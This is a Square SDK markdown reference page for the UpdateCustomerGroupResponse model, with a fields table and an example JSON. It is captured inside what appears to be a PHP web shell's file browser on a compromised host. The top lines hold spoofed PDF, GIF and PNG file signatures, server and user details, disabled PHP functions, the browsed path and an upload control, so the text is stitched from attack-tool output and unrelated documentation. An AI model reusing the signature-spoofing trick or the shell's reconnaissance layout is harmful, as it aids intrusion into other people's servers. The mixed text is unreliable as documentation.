%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/www/admin1/vendor/square/square/doc/models/ |
Upload File : |
# Update Customer Group Response
Defines the fields that are included in the response body of
a request to the [UpdateCustomerGroup](/doc/apis/customer-groups.md#update-customer-group) endpoint.
Either `errors` or `group` is present in a given response (never both).
## Structure
`UpdateCustomerGroupResponse`
## Fields
| Name | Type | Tags | Description | Getter | Setter |
| --- | --- | --- | --- | --- | --- |
| `errors` | [`?(Error[])`](/doc/models/error.md) | Optional | Any errors that occurred during the request. | getErrors(): ?array | setErrors(?array errors): void |
| `group` | [`?CustomerGroup`](/doc/models/customer-group.md) | Optional | Represents a group of customer profiles.<br><br>Customer groups can be created, be modified, and have their membership defined using<br>the Customers API or within the Customer Directory in the Square Seller Dashboard or Point of Sale. | getGroup(): ?CustomerGroup | setGroup(?CustomerGroup group): void |
## Example (as JSON)
```json
{
"group": {
"created_at": "2020-04-13T21:54:57.863Z",
"id": "2TAT3CMH4Q0A9M87XJZED0WMR3",
"name": "Loyal Customers",
"updated_at": "2020-04-13T21:54:58Z"
}
}
```